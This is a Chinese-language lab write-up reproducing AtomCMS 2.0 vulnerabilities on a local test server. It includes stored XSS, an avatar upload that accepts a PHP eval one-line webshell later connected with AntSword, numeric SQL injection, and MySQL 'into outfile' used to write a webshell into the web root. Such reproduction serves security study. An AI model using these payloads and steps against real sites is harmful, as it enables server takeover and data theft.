AtomCMS文件上传漏洞,xss漏洞
文章目录
验证工具:
windows11+phpstudy+AtomCMS2.0
复现过程
phpstudy中放置网站源代码
1.将Atom.CMS-master.zip解压后的文件夹Atom.CMS-master改个名AtomCMS然后移动到\phpstudy_pro\WWW文件夹下,改名的目的是使用方便
2.进入AtomCMS目录
进入config子目录
用vscode等编辑器打开connection.php
将mysqli-connect
函数的参数修改为如图所示
这里localhost
不用改
root
是mysql软件的用户名
涂红的是我设置的mysql中root用户的密码
mysql中建立网站数据库
1.添加环境变量
phpstudy中的MySQL数据库是不能够使用命令行操作的,如果想要在命令提示符中使用MySQL命令.就得把MySQL的bin目录添加到系统环境变量path下,下面就是添加过程
打开phpstudy,记住正在使用的MySQL版本号
然后将balabala\phpstudy_pro\Extensions\MySQL<版本号>\bin
目录添加到环境变量path
比如在我的电脑上就是D:\phpstudy_pro\Extensions\MySQL5.7.26\bin
将其添加到环境变量path
确定之后打开powershell或者cmd或者bash等等各种shell均可
输入mysql -u root -p
命令
如果出现Enter password:
字样则表明环境变量添加成功
这里密码默认为root
也可以在phpstudy上修改
这里鼠标移动到密码上就会显示明文,即mysql软件的登录密码
2.建立数据库
我们刚才修改connection.php时是这样写的:
$dbc = mysqli_connect('localhost', 'root', 'balabala', 'atomcms') OR die('Could not connect because: '.mysqli_connect_error());
现在我们用root账户和balabala密码登录了,只需要建立一个名字叫atomcms
的数据库
mysql> create database atomcms;
Query OK, 1 row affected (0.00 sec)
到此数据库建立完毕
3.导入数据表
网站的根目录balabala\phpstudy_pro\WWW\AtomCMS
下面有这么两个东西
我们需要导入他们到atomcms数据库
这两个文件作用相同,版本不同,database.sql是老版本网站的,database-video81.sql是新版本网站的.
已经测试过导入database-video81.sql会有一些不兼容,并且测试不出文件上传漏洞
两者的区别
在users表中栏目不同,就是这个栏目使得avater会导致一些错误
具体后果不具体展开了
这里导入database.sql
注意在导入之前先使用use命令指定使用atomcms数据库
mysql> use atomcms;
Database changed
mysql> source D:\phpstudy_pro\WWW\AtomCMS\database-video81.sql
Query OK, 0 rows affected, 1 warning (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Query OK, 0 rows affected (0.02 sec)
Query OK, 2 rows affected (0.02 sec)
Records: 2 Duplicates: 0 Warnings: 0
Query OK, 0 rows affected (0.01 sec)
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0
Query OK, 0 rows affected (0.02 sec)
Query OK, 5 rows affected (0.00 sec)
Records: 5 Duplicates: 0 Warnings: 0
到此数据库建立完毕
1.登录网站
重启一下phpstudy里面的apache和mysql服务
然后在浏览器URL行输入127.0.0.1/AtomCMS
之后浏览器显示页面如下:
网站的导航页属实没有做好,这里无法进行任何跳转
再在域名行输入127.0.0.1/atomCMS/admin/login.php
就来到了登录页面
观察这个页面只有登录没有注册,我们需要一个可以登录的账号密码
观察phpstudy_pro\WWW\AtomCMS\admin\login.php
里面这样写道:
可以发现的是,通过查atomcms.users表验证email和password字段进行登录,查password之前首先把password用SHA1加密然后查表,可见表中的password都是SHA1加密之后的字段
另提一嘴,这里$_POST[email]
处没有经过过滤,是存在sql注入漏洞的
而刚才database.sql文件中有写:
INSERT INTO `users` (`id`, `first`, `last`, `email`, `password`, `status`) VALUES
(1, 'Alan2', 'Quandt', 'alan@alan.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(2, 'Justin', 'Gilson', 'justin@justin.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(3, 'John', 'Rainey', 'john@john.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1),
(5, 'John', 'Doe', 'john@doe.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 0),
(6, 'Jane', 'Doe', 'jane@doe.com', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8', 1);
也就是说导入该sql文件到数据库时相当于注册了一些账号
距离登录只差一步之遥,我们选哟知道啊这些password的SHA1值对应的明文是什么
显然SHA1是不能解密的,只能猜测密码然后去试
不过这里五个用户名的密码都是相同的SHA1值,可以啃腚的是明文相同
到这个网站在线解密sha1在线解密 在线加密 (ttmd5.com)
虽然不登录只能看到p开头,但是也可以推测是password
字样
submit之后就登录了
2.XSS攻击
最上面一些选项中点选Users页,此时URL变成http://127.0.0.1/atomCMS/admin/index.php?page=users
观察到右侧有好多可以填写的框
都写上xss攻击语句
Save之后
3.文件上传漏洞
还是在Users栏,选一个Gilson,Justin
用户
题外话:
Alan的头像是一个正在吃手手的人
Justin和John看来是Alan的两只宠物狗
检查Justin的头像的前端代码
可以发现它的位置,那么如果是可以上传php文件并显示位置,我们就可以利用一句话木马了
试图上传一个shell.php木马
shell.php:
<?php eval(@$_POST['a']); ?>
显示上传成功了,此时再在刚才的头像位置审查源代码
发现style="background-image: url('../uploads/1649929771921.php')"
说明我们一句话木马上传成功
使用中国蚁剑
这里"连接密码"和刚才一句话木马中的口令相同
测试连接之后返回连接成功
点击添加之后就取得了webshell
整台计算机都被控制了
观察源代码可以发现更多的漏洞
sql注入漏洞
关键在于这三句话:
$id = $_GET['id'];
$q = "SELECT avatar FROM users WHERE id = $id";
$r = mysqli_query($dbc, $q);
首先$id
使用GET方法从URL行传递,这个可以在前端任意修改
后面就是数字型sql注入了
考虑如何使用mysql输出一个shell文件
mysql> select 123456 into outfile 'C:/Users/86135/Desktop/atomcms/shell.php'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
这种错误表明输出文件功能被关闭或者只能位于某些特定目录下
mysql> show global variables like '%secure%'; +--------------------------+-------+ | Variable_name | Value | +--------------------------+-------+ | require_secure_transport | OFF | | secure_auth | ON | | secure_file_priv | NULL | +--------------------------+-------+ 3 rows in set, 1 warning (0.00 sec)
这表明输出文件是禁止的
我们假设一个网站的该选项是开着的,在phpstudy集成环境中应该这样改:
在
phpstudy_pro\Extensions\MySQL5.7.26\my.ini
中的[mysqld]栏目下面加一行secure_file_priv=
然后在phpstudy中重启MySQL5.7.26服务
之后用shell登录MySQL然后输出文件
mysql> select 123456 into outfile 'C:/Users/86135/Desktop/atomcms/shell.php'; Query OK, 1 row affected (0.00 sec)
发现成功了
更狠一点
mysql> select "<?php eval(@$_POST['a']); ?>" into outfile 'C:/Users/86135/Desktop/atomcms/webShell.php'; Query OK, 1 row affected (0.00 sec)
直接输出一个木马
考虑如何在网站上利用sql注入输出一个木马文件
假设网站的Mysql可以输出文件
下面我们要做的是找一个我们能够访问到的地方输出木马文件
在linux上,网站根目录通常在\var\www\html\
那么我们只需要把木马文件输出到这个位置就可以用菜刀或者蚁剑连接了
在windows上,如果用phpstudy建站,通常会在D://phpstudy_pro/WWW/
在我的电脑上AtomCMS根目录位置是D://phpstudy_pro/WWW/AtomCMS/